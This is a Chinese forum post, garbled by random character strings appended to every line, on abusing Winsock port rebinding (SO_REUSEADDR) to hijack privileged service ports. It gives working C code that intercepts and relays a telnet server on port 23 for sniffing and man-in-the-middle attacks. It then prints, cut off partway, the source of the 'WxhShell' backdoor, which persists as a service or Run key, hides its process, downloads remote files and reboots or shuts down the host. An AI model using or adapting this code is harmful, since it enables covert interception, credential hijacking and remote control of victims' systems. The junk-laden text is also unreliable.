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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ih[+K#t+E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +"g~"<  
:;!\vfZbU  
  saddr.sin_family = AF_INET; 'iLH `WE  
;bX4(CMe &  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H2-28XGc  
 oAZh~~tp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); te4= S  
O8N[Jl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ehAu^^Q>  
HZ*0QgW\(5  
  这意味着什么?意味着可以进行如下的攻击: I6LD)?  
SgE/!+{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L{ymI) Y^  
XO F1c3'H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #m8sK(#lo  
EC?Efc+O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5H:@ 8,B  
Kt.~aaG_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;#G%U!p  
:'r6 TVDW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0D(cXzQP  
R& =f:sEi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8"vwU@cfC  
HpexH{.u)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ok%}|/ P4  
t^tCA -  
  #include |@o6NZ<9N  
  #include xkA2g[  
  #include .]}N55M  
  #include    zSjgx_#U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -&[z\"T  
  int main() K.SeK3(  
  { (w2= 2$  
  WORD wVersionRequested; '?Iif#Z1  
  DWORD ret; $rG<uO  
  WSADATA wsaData; B">yKB:D}t  
  BOOL val; 3An(jt$%Q  
  SOCKADDR_IN saddr; 5`E))?*"Pe  
  SOCKADDR_IN scaddr; \T-~JQVj  
  int err; oaDsk<(j;R  
  SOCKET s; [D'Gr*5~{  
  SOCKET sc; 3LlU]  
  int caddsize; *[kxF*^  
  HANDLE mt; [B?z1z8l  
  DWORD tid;   ?Cci:Lin  
  wVersionRequested = MAKEWORD( 2, 2 ); O(OmGu4%  
  err = WSAStartup( wVersionRequested, &wsaData ); y?N Nz0  
  if ( err != 0 ) { LN!W(n(  
  printf("error!WSAStartup failed!\n"); `!w^0kZ  
  return -1; 8t .dPy<  
  } N)43};e  
  saddr.sin_family = AF_INET; LI:T c7t  
   ur2!#bU9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e4qj .b  
ibF#$&!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]X" / yAn  
  saddr.sin_port = htons(23); LBX%HGH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wtv#h~jy9  
  { <uF [,  
  printf("error!socket failed!\n"); _qTpy)+  
  return -1; ~r`Wr`]_z  
  } )XVh&'(r  
  val = TRUE; ;WI]vn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 te2 Iu%5 z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '.p? 6k!K  
  { "j Zm0U$,*  
  printf("error!setsockopt failed!\n"); Qm);6X   
  return -1; cj(X2L  
  } hswTn`f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f:%SW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mpef]9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T#iU+)-\%  
1| xN%27>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LC'2q*:'  
  { ( D}" &2  
  ret=GetLastError(); |@`"F5@,  
  printf("error!bind failed!\n"); *:arva5  
  return -1; Sa}D.SBg  
  } bc}dYK3$q  
  listen(s,2); NdQ%:OKC  
  while(1) v>WB FvyD  
  { :k1$g+(lP  
  caddsize = sizeof(scaddr); Z! YpklZ?~  
  //接受连接请求 iUNnPJh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5a$$95oL  
  if(sc!=INVALID_SOCKET) #O</\|aH)i  
  { VBx,iuaw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8t9aHla  
  if(mt==NULL) A! ;meVUs  
  { MCAXt1sL&E  
  printf("Thread Creat Failed!\n"); Jf+7"![|  
  break; UpeQOC  
  } q$^<zY  
  } M1uP\Sa  
  CloseHandle(mt); "3t\em!  
  } ;? 8Iys#  
  closesocket(s); {aJz. `u\  
  WSACleanup(); ~N[|bPRmhE  
  return 0; 3zb)"\(R  
  }   bhKV +oN  
  DWORD WINAPI ClientThread(LPVOID lpParam) slSR=XOG  
  { %UmbDGDWI  
  SOCKET ss = (SOCKET)lpParam; lCE2SKj  
  SOCKET sc; 2k3 z'RLG  
  unsigned char buf[4096]; FR'b`Xv:  
  SOCKADDR_IN saddr; _5h0@^m7y  
  long num; EVSK8T,  
  DWORD val; |!5@xs*T  
  DWORD ret; Y\u_+CG*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /.-m}0h|W-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aL$j/SC  
  saddr.sin_family = AF_INET; 6 ">oo-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fMB4xbpD  
  saddr.sin_port = htons(23); 6bJ"$o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kh&_#,  
  { e3rfXhp  
  printf("error!socket failed!\n"); S&|VkZR)  
  return -1; td/5Bmj  
  } /'NUZ9  
  val = 100; '5cZzC 2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TA9dkYlE/  
  { &U0WkW   
  ret = GetLastError(); [EOMCH2Ki  
  return -1; G,/Gq+WX  
  } GFY-IC+fc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'Ix5,^M}B  
  { Fi k@hu  
  ret = GetLastError(); Q^q=!/qQ  
  return -1; j%Gbg J  
  } rUvwpP"k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2q|_Dma  
  { |Rk37P {  
  printf("error!socket connect failed!\n"); 4Qhx[Hv>(  
  closesocket(sc); aZC*7AK   
  closesocket(ss); mN7&%Z  
  return -1; >2t cEz%  
  } DlS&qFs  
  while(1) k2wBy'M .'  
  { j>V"hf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5#BF,-Jv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >VypE8H]x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9$EH K  
  num = recv(ss,buf,4096,0); r"1A`89  
  if(num>0) c_[ JjG^?P  
  send(sc,buf,num,0); F94V5_[  
  else if(num==0) L<"k 7)k  
  break; Cea"qNq=k  
  num = recv(sc,buf,4096,0); x:vrK#8D>  
  if(num>0) n=r= u'oi  
  send(ss,buf,num,0);  TVj1C  
  else if(num==0) gBfX}EK7F  
  break; #VQ36pCd  
  } ! 7Nn ]Lx  
  closesocket(ss); 3lyQn "  
  closesocket(sc); _i.({s&_9  
  return 0 ; 7:ckq(89  
  } I_K[!4~Kn  
IS .g);Gj  
t0+t9w/fTP  
========================================================== 2kC^7ZAwu  
[gTQ-  
下边附上一个代码,,WXhSHELL }3Df]  
*(>Jd|C  
========================================================== '>"`)-  
IZ|c <#r6  
#include "stdafx.h" dV$3u"9  
"C?:T'dW  
#include <stdio.h> 2}GKHC  
#include <string.h> G) jG!`I  
#include <windows.h> 1k0^6gE|  
#include <winsock2.h> xqU^I5Z  
#include <winsvc.h> W6h NJb  
#include <urlmon.h> 'wegipK~R  
QZqp F9Eu  
#pragma comment (lib, "Ws2_32.lib") j}i,G!-u  
#pragma comment (lib, "urlmon.lib") d|R HG  
W&WB@)ie  
#define MAX_USER   100 // 最大客户端连接数 KPD@b=F  
#define BUF_SOCK   200 // sock buffer , &-S?|  
#define KEY_BUFF   255 // 输入 buffer }#YIl@E  
<r@bNx@T  
#define REBOOT     0   // 重启 R A*(|n>  
#define SHUTDOWN   1   // 关机 NEZH<#  
I4A ;  
#define DEF_PORT   5000 // 监听端口 s_x=^S3~LO  
Cb+P7[X-  
#define REG_LEN     16   // 注册表键长度 7^`RP e^a+  
#define SVC_LEN     80   // NT服务名长度 YAX #O\,  
p, !1 3X  
// 从dll定义API (Be$$W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J!ln=h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |Tj`qJGVw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @+[Y0_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Kq<\"7Bmz  
2#,8evH  
// wxhshell配置信息 =mDy@%yx!  
struct WSCFG { oM/B.U2a  
  int ws_port;         // 监听端口 kOo>Iy  
  char ws_passstr[REG_LEN]; // 口令 _a?wf!4>P  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q1]V|S;)X  
  char ws_regname[REG_LEN]; // 注册表键名 ]Fb8.q5(Y  
  char ws_svcname[REG_LEN]; // 服务名 W,0KBkkp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8/Lu'rI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ajf_)G5X P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vj?*= UL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hnH)Jy;>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ky =(urAd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  pb,{$A  
{LjK_J'  
}; x(exx )w  
o}5'v^"6,  
// default Wxhshell configuration )G}sb*+v?  
struct WSCFG wscfg={DEF_PORT, J(H??9(s  
    "xuhuanlingzhe", {mKpD  
    1, FjK Ke7  
    "Wxhshell", =MQ2sb  
    "Wxhshell", O e0KAn  
            "WxhShell Service", /&y,vkZTT  
    "Wrsky Windows CmdShell Service", (, ;MC/l  
    "Please Input Your Password: ", ][s*~VK;  
  1, D N2hv2  
  "http://www.wrsky.com/wxhshell.exe", KFCQYdI`d  
  "Wxhshell.exe" Zw3hp,P]  
    }; tyBg7dP  
F(0pru4u  
// 消息定义模块 %Z-TbOX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yj|c+&Ng  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &lOXi?&"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D3,t6\m  
char *msg_ws_ext="\n\rExit."; LR 8e|H0  
char *msg_ws_end="\n\rQuit."; @]}Qh;a~  
char *msg_ws_boot="\n\rReboot..."; 3hp tP  
char *msg_ws_poff="\n\rShutdown..."; 7lnM|nD  
char *msg_ws_down="\n\rSave to "; o.v,n1Nm  
Q*TQ*J7".X  
char *msg_ws_err="\n\rErr!"; tSw~_s_V  
char *msg_ws_ok="\n\rOK!"; > 2!^ dT^D  
Dg?Ho2ih  
char ExeFile[MAX_PATH]; @U7U?.p  
int nUser = 0; {EiG23!qV  
HANDLE handles[MAX_USER]; }W Bm%f  
int OsIsNt; K6 PC&+x  
8trm`?>  
SERVICE_STATUS       serviceStatus; +'{:zN5m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3R Y|l?n>  
J:M<9W  
// 函数声明 7~Xu71^3s  
int Install(void); ,cl"1>lp  
int Uninstall(void); h0ZW,2?l  
int DownloadFile(char *sURL, SOCKET wsh); ?Mgt5by  
int Boot(int flag); ^@l5u=  
void HideProc(void); E!O(:/*  
int GetOsVer(void); kiBOyC!r6  
int Wxhshell(SOCKET wsl); r' 97\|  
void TalkWithClient(void *cs); r(`8A:#d  
int CmdShell(SOCKET sock); ]xVL11p  
int StartFromService(void); SO8|]Fk  
int StartWxhshell(LPSTR lpCmdLine); @i1.5z  
-f 'q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t 's5~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AH ?MJKY@Z  
`zV-1)=  
// 数据结构和表定义 =#PudF.\  
SERVICE_TABLE_ENTRY DispatchTable[] = d3\l9R{}  
{ Xj(k(>7V  
{wscfg.ws_svcname, NTServiceMain}, LT y@6*  
{NULL, NULL} ;9- 4J  
}; U iPVZ@?  
f/|a?n2\hm  
// 自我安装 !*$'fn'bAA  
int Install(void) ! Dhfr{  
{ Xl '\krz  
  char svExeFile[MAX_PATH]; iI/'! 85  
  HKEY key; _cnrGi}T  
  strcpy(svExeFile,ExeFile); ZS 7)(j$.  
YpbdScz  
// 如果是win9x系统,修改注册表设为自启动 5,I*F9[3  
if(!OsIsNt) { $4fjSSB~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $;g%S0:3)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (kD?},Z  
  RegCloseKey(key); L2Qp6A6S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Phjf$\pt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [eTck73  
  RegCloseKey(key); >O[^\H!\  
  return 0; ]mDsUZf<  
    } #|2g{7 g*  
  } o2t@-dNi  
} DrYoC7   
else { M KE[Yb?  
<=LsloI  
// 如果是NT以上系统,安装为系统服务 sC'A_-'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,YuWz$aF{  
if (schSCManager!=0) +k"8e?/e.  
{ {Rh+]=7  
  SC_HANDLE schService = CreateService _{@}Fd?o  
  ( 1OJD\wc  
  schSCManager, ok W)s*7  
  wscfg.ws_svcname, ~wQ WWRk  
  wscfg.ws_svcdisp, bB[*\  
  SERVICE_ALL_ACCESS, vU=k8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I(r5\A=   
  SERVICE_AUTO_START, ~(L<uFU V  
  SERVICE_ERROR_NORMAL, F b`7 aFIf  
  svExeFile, :/?R9JVI  
  NULL, {  /Q?  
  NULL, Y$DgL h  
  NULL, *1 eTf  
  NULL, zz''FmedF  
  NULL -V)5Tr=  
  ); EEnTq  
  if (schService!=0) (]# JpQ  
  { s(DaPhL6Qm  
  CloseServiceHandle(schService); _J$p <  
  CloseServiceHandle(schSCManager); mZ.6Njb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2QQYXJ^  
  strcat(svExeFile,wscfg.ws_svcname); z4OR UQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r  E *u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X<bj2 w  
  RegCloseKey(key); (/UMi,Ho  
  return 0; [8(9.6f  
    } KARQKFp!C>  
  } LZ<( :S  
  CloseServiceHandle(schSCManager); ur_"m+  
} ry<}DK<u  
} Ik2szXh[J  
N4JL.(m){I  
return 1; F[qI fh4  
} YuZ   
C{Xk/Er5<  
// 自我卸载 ?p\II7   
int Uninstall(void) 7m)ykq:?  
{ 7=[O6<+o  
  HKEY key; J!gWRw5  
y8 u)Q  
if(!OsIsNt) { qSs^}eN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }u$a PS<$!  
  RegDeleteValue(key,wscfg.ws_regname); /3HWP`<x  
  RegCloseKey(key); [T&y5"@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UyfIAC$S  
  RegDeleteValue(key,wscfg.ws_regname); ~\(>m=|C:H  
  RegCloseKey(key); /bj`%Q.n  
  return 0; C4K&flk]  
  } IpVwnNj!}  
} [A/+tv  
} Gb)iB  
else { Ud?d.  
~.=!5Ry  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z.F+$6  
if (schSCManager!=0) [==Z1Q;=  
{ ]3cf}Au  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0a-:x4  
  if (schService!=0) $ }bC$?^  
  { _|#|mb4Fe  
  if(DeleteService(schService)!=0) { YuW\GSV00  
  CloseServiceHandle(schService); g?Ty5~:lq  
  CloseServiceHandle(schSCManager); n \NDi22  
  return 0; bI0+J)  
  } ~Am %%$  
  CloseServiceHandle(schService); 17i@GnbNb  
  } {Ao^3vB  
  CloseServiceHandle(schSCManager); "f$A0RL  
} ?B4QTx9B  
} S6:gow(wU  
w3hL.Z,kV  
return 1; B_G7F[/K  
} ZuV  
s9dBXfm  
// 从指定url下载文件 !f2>6}hE  
int DownloadFile(char *sURL, SOCKET wsh) ]$*_2V3VA$  
{ P+l^Ep8P  
  HRESULT hr; +:8YMM#9V  
char seps[]= "/"; 3W WxpTU  
char *token; 1j-i nj`  
char *file; ?(hQZR 0e  
char myURL[MAX_PATH]; f }e7g d]M  
char myFILE[MAX_PATH]; *wx^mB9  
+Rd{ ?)2~  
strcpy(myURL,sURL); E8 )*HOT_T  
  token=strtok(myURL,seps); 30-w TcG  
  while(token!=NULL) fxa^SV   
  { / 1GZN *I  
    file=token; FAGVpO[  
  token=strtok(NULL,seps); AFA*_9Ut  
  } aM1JG$+7G  
cHd39H9  
GetCurrentDirectory(MAX_PATH,myFILE); d$ 7 b  
strcat(myFILE, "\\"); u _^=]K;  
strcat(myFILE, file); bhT]zsBK  
  send(wsh,myFILE,strlen(myFILE),0); 2UJ0%k  
send(wsh,"...",3,0); : \`MrI^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =l_"M  
  if(hr==S_OK) Q)dns)_x  
return 0; 'hWRwP|  
else D1/$pA+B  
return 1; =jHy6)6w  
NP/2gjp  
} Z@u mbyM  
gQG iph |  
// 系统电源模块 eT?LMBn\  
int Boot(int flag) +t6m>IBu  
{ 7K4%`O  
  HANDLE hToken; hY'%SV p  
  TOKEN_PRIVILEGES tkp; ;sJ2K"c  
<C xet~x  
  if(OsIsNt) { W%:zvqg v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f>PU# D@B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '^AXUb  
    tkp.PrivilegeCount = 1; (J#3+I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4 ETVyK|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nwVtfsb  
if(flag==REBOOT) { ] lTfi0}g_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YiMecu  
  return 0; \rO>F E  
} yh!vl&8M  
else { -|mRJVl8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tx-bzLo\  
  return 0; 6Z=H>w  
} 6dlPS{H#U  
  } =jh:0Q<43+  
  else { upKrr  
if(flag==REBOOT) { #nz$RJsX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3~'F^=T.Y  
  return 0; RT9@&5>il  
} ^)I:82"|?  
else { d_hcv|%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Aed"J5[a  
  return 0; fba3aId[  
} *4E,| IJ  
} vA`.8U 0S  
"f+2_8%s+  
return 1; \x}UjHYIc&  
} GC2<K  
:gC2zv  
// win9x进程隐藏模块 5#PhaVc  
void HideProc(void) m+ YgfR  
{ ]y e &#  
J>Ha$1}u/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f|)t[,c  
  if ( hKernel != NULL ) NST6pu\,U  
  { 03T.Owd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Tza<nA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sjGZ ,?%  
    FreeLibrary(hKernel); 7\ lb+^$  
  } cCs:z   
WBIS  
return; 4vphLAm  
} 4{pa`o3  
NM]/OKs'H  
// 获取操作系统版本 lB-7.  
int GetOsVer(void) n66 _#X  
{ /j As`"U  
  OSVERSIONINFO winfo; T~Cd=s(T"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ' r/1+.  
  GetVersionEx(&winfo); o6oYJ`PY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NGu]|p  
  return 1; e ^QOn  
  else +l\Dp  
  return 0; T rW3@@}j  
} Ns_d10rZ.  
mUxD.;P  
// 客户端句柄模块 HN+z7Q8hH  
int Wxhshell(SOCKET wsl) U@WT;:.T  
{ vP!gLN]TV  
  SOCKET wsh; OJaU,vQ#  
  struct sockaddr_in client; (XQG"G%U6W  
  DWORD myID; Qd&j~cG@  
so*7LM?ib>  
  while(nUser<MAX_USER) \9DTf:!4Z  
{ VTU-'q  
  int nSize=sizeof(client); Rx.0P6s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nYHk~<a  
  if(wsh==INVALID_SOCKET) return 1; )C[8#Q-:  
[sBD|P;M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (0r6_8e6xv  
if(handles[nUser]==0) e [n>U@  
  closesocket(wsh); DWG}}vN:&  
else h pU7  
  nUser++; 0ro+FJ r  
  } H{8\<E:V+}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X9J^Olq  
-oj@ c OZ  
  return 0; ;_!;D#:  
} $si2H8  
|NqQKot1  
// 关闭 socket lz>hP  
void CloseIt(SOCKET wsh) ej~ /sO  
{ 827N?pU$)  
closesocket(wsh); |8"HTBb\CW  
nUser--; ofJ@\xS  
ExitThread(0); J7H1<\=cJb  
} G+ToZ&f@  
%PpB$  
// 客户端请求句柄 %/7`G-a.B  
void TalkWithClient(void *cs) B^ h!F8DC  
{ @({65gJ*  
1<*-, f  
  SOCKET wsh=(SOCKET)cs; " 1 Bn/Q  
  char pwd[SVC_LEN]; Q_Rr5/  
  char cmd[KEY_BUFF]; OoE@30+  
char chr[1]; I/adzLQ  
int i,j; J GdVSjNC  
d 9|u~3  
  while (nUser < MAX_USER) { PF~&!~S>W  
R!O'DM+  
if(wscfg.ws_passstr) { d;z`xy(C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +J2=\YO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `k+k&t  
  //ZeroMemory(pwd,KEY_BUFF); 2neiUNT  
      i=0; xGqZ8v`v  
  while(i<SVC_LEN) { Lt)t}0  
+Fk.B@KT,  
  // 设置超时 P)3e^~+A  
  fd_set FdRead; BkcOsJIz  
  struct timeval TimeOut; nxG vh4'i8  
  FD_ZERO(&FdRead); jGt[[s  
  FD_SET(wsh,&FdRead); p&7>G-.  
  TimeOut.tv_sec=8; xk,E A U  
  TimeOut.tv_usec=0; D_@^XS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b |EZ;,i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JSM{|HJxh  
~o+u:]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j=7]"%  
  pwd=chr[0]; `'~|DG}a  
  if(chr[0]==0xd || chr[0]==0xa) { /)|*Vzu  
  pwd=0; GB0] |z5  
  break; [mhY_Hmz]  
  } oD.f/hi0|  
  i++; Fw|5A"9'a'  
    } iS"rMgq  
x ` $4  
  // 如果是非法用户,关闭 socket [p(Y|~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :)+cI?\#  
} Tsa&R:SE  
'+$2<Ys  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %FwLFo^v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^OUkFH;dG?  
V r y#  
while(1) {  `=oN&!  
M$w^g8F27H  
  ZeroMemory(cmd,KEY_BUFF); aw(P@9]  
DY1o!thz)  
      // 自动支持客户端 telnet标准   bygwoZ<E  
  j=0; "UE'd Wz  
  while(j<KEY_BUFF) { UXd\Q''  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WHU& 9N  
  cmd[j]=chr[0]; .; :[sv)  
  if(chr[0]==0xa || chr[0]==0xd) { )%*uMuF  
  cmd[j]=0; djk   
  break; ^CX~>j\(  
  } J=() A+  
  j++; uvT]MgT  
    } `jP6;i  
DJeG  
  // 下载文件 b.$Gc!g  
  if(strstr(cmd,"http://")) { &cZD{Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K%S k{'  
  if(DownloadFile(cmd,wsh)) Zf|f $1-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xD1w#FMlQs  
  else bY#>   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^NP" m  
  } ^Xh9:OBF  
  else { hd\iW7  
1<lLE1fk  
    switch(cmd[0]) { tvP"t{C6,  
  JTx&_Ok#  
  // 帮助 REw!@Y."  
  case '?': {  pCv=rK@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2+0'vIw}  
    break; Hf#/o{=~}  
  } {<bByHT!  
  // 安装 Ix"uk6 h  
  case 'i': { i2EB.Zlv  
    if(Install()) Ehg5u'cj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Y]P]^3  
    else Dk:Zeo]+my  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F`'e/  
    break; B6,"S5@  
    } I9_tD@s"(  
  // 卸载 dw'%1g.113  
  case 'r': { >hHn{3y  
    if(Uninstall()) 2OEO b,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #qHo+M$"  
    else O GSJR`yT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RzXxnx)]q  
    break; R:=i/P/  
    } X)`? P*[  
  // 显示 wxhshell 所在路径  y!!p:3  
  case 'p': { V+_L9  
    char svExeFile[MAX_PATH]; Dg \fjuK9  
    strcpy(svExeFile,"\n\r"); $$AKz\  
      strcat(svExeFile,ExeFile); oMcX{v^"  
        send(wsh,svExeFile,strlen(svExeFile),0); ^oM*f{9  
    break; +b 1lCa_  
    } aM~M@wS  
  // 重启 Aqq%HgY:t  
  case 'b': { 6 :J @  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xj(&EGY:  
    if(Boot(REBOOT)) \#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?$9C[Kw`  
    else { co#%~KqMu  
    closesocket(wsh); aHS.U^2  
    ExitThread(0); sy4$!,W:  
    } u[y>DPPx  
    break; W +C\/  
    } R/U"]Rc  
  // 关机 tPc'# .  
  case 'd': { q f-1}  
